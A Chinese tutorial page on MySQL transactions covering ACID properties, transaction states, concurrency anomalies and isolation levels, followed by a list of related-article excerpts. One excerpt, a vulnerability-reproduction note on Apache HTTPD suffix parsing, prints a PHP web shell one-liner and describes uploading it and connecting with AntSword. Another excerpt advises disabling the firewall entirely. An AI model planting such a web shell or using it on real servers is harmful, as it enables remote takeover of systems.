MySQL:事务

目录

  • 概念
  • 事务特性
  • 开始事务
  • 事务的状态
  • 事务并发问题
  • 事务隔离级别

概念

MySQL事务是一组在数据库中执行的操作,它们必须要么全部成功执行,要么全部不执行。MySQL事务被设计为确保数据库中的数据的完整性和一致性,即使在并发访问的情况下也是如此。在并发访问的情况下,事务确保数据的正确性,而不会出现数据不一致或错误的情况。

事务特性

1、原子性(Atomicity)

事务是一个原子操作,它要么全部成功,要么全部失败回滚。

如果事务中的任何操作失败,则所有操作都将回滚到之前的状态,以确保数据库中的数据不会被部分更改。

2、一致性(Consistency)

事务的执行必须使数据库从一个一致状态转换到另一个一致状态。

这意味着事务必须满足所有约束条件,以保持数据的完整性和一致性。

3、隔离性(Isolation)

并发事务的执行不能相互干扰。事务必须在独立的空间内执行,这意味着它们看起来像是在独占访问数据库。

4、持久性(Durability)

一旦事务完成提交,其结果就是永久性的,并且即使在系统故障的情况下,也必须能够恢复这些结果。

开始事务

  1. 显式事务

在MySQL中,通过以下关键字来控制事务的处理:START TRANSACTION(或BEGIN),COMMIT和ROLLBACK。

示例:

START TRANSACTION; UPDATE accounts SET balance = balance - 100 WHERE id = 1; UPDATE accounts SET balance = balance + 100 WHERE id = 2; COMMIT;

在这个例子中,事务开始于START TRANSACTION语句,并包含两个UPDATE语句,这些语句会减少一个账户的余额,并将相同的金额添加到另一个账户的余额中。如果所有的操作都成功执行,则事务将通过COMMIT语句提交。否则,ROLLBACK语句将取消所有修改并回滚到事务开始时的状态。

  1. 隐式事务

隐式事务是由数据库管理系统自动管理的事务,不需要显式地编写事务控制语句。通常,每个 SQL 语句都被视为一个隐式事务。

事务的状态

在这里插入图片描述

活动的(active):

事务对应的数据库操作正在执行过程中时,我们就说该事务处在活动的状态。

部分提交的(partilly committed):

当事务中的最后一个操作执行完成,但由于操作都在内存中执行,所造成的影响并没有刷新到磁盘时,我们就说该事务处在部分提交的状态。

失败的(failed):

当事务处在活动的或者部分提交的状态时,可能遇到了某些错误(数据库自身的错误、操作系统错误或者直接断电等)而无法继续执行,或者人为的停止当前事务的执行,我们就说该事务处在失败的状态。

中止的(aborted):

如果事务执行了一部分而变为失败的状态,那么就需要把已经修改的事务中的操作还原到事务执行前的状态。

换句话说,就是要撤销失败事务对当前数据库造成的影响。我们把这个撤销的过程称之为回滚 。当回滚操作执行完毕时,也就是数据库恢复到了执行事务之前的状态,我们就说该事务处在了中止的状态。

提交的(committed):

当一个处在 部分提交的 状态的事务将修改过的数据都 同步到磁盘 上之后,我们就可以说该事务处在了 提交的 状态

事务并发问题

事务操作可能会出现的数据问题:

  • 脏读:事务A修改了数据,但未提交,而事务B查询了事务A修改过却没有提交的数据,事务A可能会回滚。
  • 不可重复读:在⼀个事务范围内,两个相同的查询,读取同⼀条记录,却返回了不同的数据。
  • 幻读:一个事务中多次查询同一数据时,由于其他事务插入了新的数据,导致前后查询结果不一致。

事务隔离级别

MySQL 的四种事务隔离级别分别是:读未提交、读已提交、可重复读、串行化。

  1. 读未提交(READ UNCOMMITTED)

事务可以读取其他事务未提交的数据。能可能导致脏读。

  1. 读已提交(READ COMMITTED)

在该隔离级别下,事务只能读取已经提交的数据,避免了脏读问题。

但是,可能会出现不可重复读问题,即在同一个事务中多次读取同一数据,但每次读取的结果不一致。

  1. 可重复读( REPEATABLE READ)

MySQL的默认的隔离级别。

事务期间,其他事务对数据的修改不会影响到当前事务。事务在执行期间能够多次读取同一数据,并保持一致的结果,避免了不可重复读问题。但是,可能会出现幻读问题,即在同一个事务中多次执行同一个查询,但结果集不同。

  1. 串行化(SERIALIZABLE)

在该隔离级别下,事务按照串行的方式执行,确保每个事务之间互不干扰。避免了脏读、不可重复读和幻读问题,但牺牲了并发性能。

MySQL 使用了四种事务的隔离级别可以解决的并发问题如下:

在这里插入图片描述

补充:上面所说的四种事务隔离机制,虽然说是SQL-92标准定义的,但标准毕竟只是标准,不是真正的实现,即各大数据库会对应有这么几个事务隔离级别,但是每一种数据库对这几种隔离级别的实现都不尽相同,甚至可能使用更为复杂的方案来提高数据库的并发性能。

同时我们在RR级别的MySQL去测试就会发现,正在执行的事务既不能读取到其他事务未提交的数据,也读取不到其他事务增/删/改并提交后的数据(不完全,因为MySQL存在并发优化,即存在当前读和快照读两种情况,所以有部分场景还是会出现不可重复读问题),所以我们可以说MySQL的RR级别的隔离是已经实现解决了脏读,不可重复读和幻读的;不过MySQL的Read Committed级别倒是的确没有处理不可重复读和幻读的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/161513.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在Ubuntu上安装Redis并学习使用get、set和keys命令

目录 安装Redis切换到root用户搜索redis相关软件包安装redis修改配置文件重启服务器使用redis客户端连接服务器 get与set命令keys 安装Redis 我们在Ubuntu20.04上进行Redis的安装 切换到root用户 使用su命令: 在终端中,输入su并按回车键。然后输入roo…

LV.12 D16 轮询与中断 学习笔记

一、CPU与硬件的交互方式 轮询 CPU执行程序时不断地询问硬件是否需要其服务,若需要则给予其服务,若不需要一段时间后再次询问,周而复始 中断 CPU执行程序时若硬件需要其服务,对应的硬件给CPU发送中断信号&#xff0c…

linux 驱动——字符设备驱动(自动生成设备节点文件)

文章目录 字符设备驱动字符设备 APP生成 dev 节点的原理配置内核自动创建设备节点模块使用 字符设备驱动 #include "linux/device/class.h" #include "linux/export.h" #include "linux/uaccess.h" #include <linux/types.h> #include &l…

mapbox使用marker创建html点位信息

mapbox使用marker创建html点位信息 codePen地址 mapboxgl.accessToken "pk.eyJ1IjoibGl1emhhbzI1ODAiLCJhIjoiY2xmcnV5c2NtMDd4eDNvbmxsbHEwYTMwbCJ9.T0QCxGEJsLWC9ncE1B1rRw"; const center [121.29786, 31.19365]; const map new mapboxgl.Map({container: &quo…

解析mfc100u.dll文件丢失的修复方法,快速解决mfc100u.dll问题

在计算机使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;其中最常见的就是“缺少某个文件”的错误。最近&#xff0c;我也遇到了一个这样的问题&#xff0c;那就是“mfc100u.dll丢失”。这个问题可能会导致某些应用程序无法正常运行&#xff0c;给我们带来困扰。…

10本值得阅读的量化交易书籍

什么是量化交易&#xff1f; 量化交易是利用数学模型或算法来创建交易策略并进行交易。量化交易通常由大型机构交易员或对冲基金雇用&#xff0c;他们雇用大量的博士和工程师团队。从历史上看&#xff0c;量化交易领域一直非常隐秘&#xff0c;有效的想法往往受到公司的严密保…

【漏洞复现】Apache_HTTPD_未知后缀名解析

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 upload-labs/Pass-07 上传1.php文件 <?php eval($_REQUEST[6868]);phpinfo();?>访问/upload/1.php.jaychou 蚁剑连接

(后续补充)vue+express、gitee pm2部署轻量服务器

首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 关闭防火墙 systemctl stop firewalld 重新载入防火墙使设置生效 firewall-cmd --reload 后端的 pm2.config.cjs …

react_11

MobX 介绍 需求&#xff0c;组件0 改变了数据&#xff0c;其它组件也想获得改变后的数据&#xff0c;如图所示 这种多个组件之间要共享状态数据&#xff0c;useState 就不够用了&#xff0c;useContext 也不好用了 能够和 react 配合使用的状态管理库有 MobX Redux 其中…

XR Interaction ToolKit

一、简介 XR Interaction Toolkit是unity官方的XR交互工具包。 官方XRI示例地址&#xff1a;https://github.com/Unity-Technologies/XR-Interaction-Toolkit-Examples 2023.3.14官方博客&#xff0c;XRIT v2.3 https://blog.unity.com/engine-platform/whats-new-in-xr-int…

JVM类的声明周期

文章目录 版权声明生命周期概述加载阶段查看内存中的对象 连接阶段连接阶段之验证连接阶段之准备连接阶段之解析 初始化阶段练习题目一练习题目二练习题目三练习题目四 使用阶段卸载阶段总结 版权声明 本博客的内容基于我个人学习黑马程序员课程的学习笔记整理而成。我特此声明…

【探索Linux】—— 强大的命令行工具 P.13(文件系统 | 软硬链接 | 动态库和静态库)

阅读导航 引言一、文件系统1. 磁盘文件系统2. 磁盘结构&#xff08;1&#xff09;物理结构&#xff08;2&#xff09;存储结构 3. stat 命令4. Linux ext2文件系统 二、软硬链接1. 软连接2. 硬链接 三、动态库和静态库1. 动态库&#xff08;1&#xff09;动态库文件扩展名&…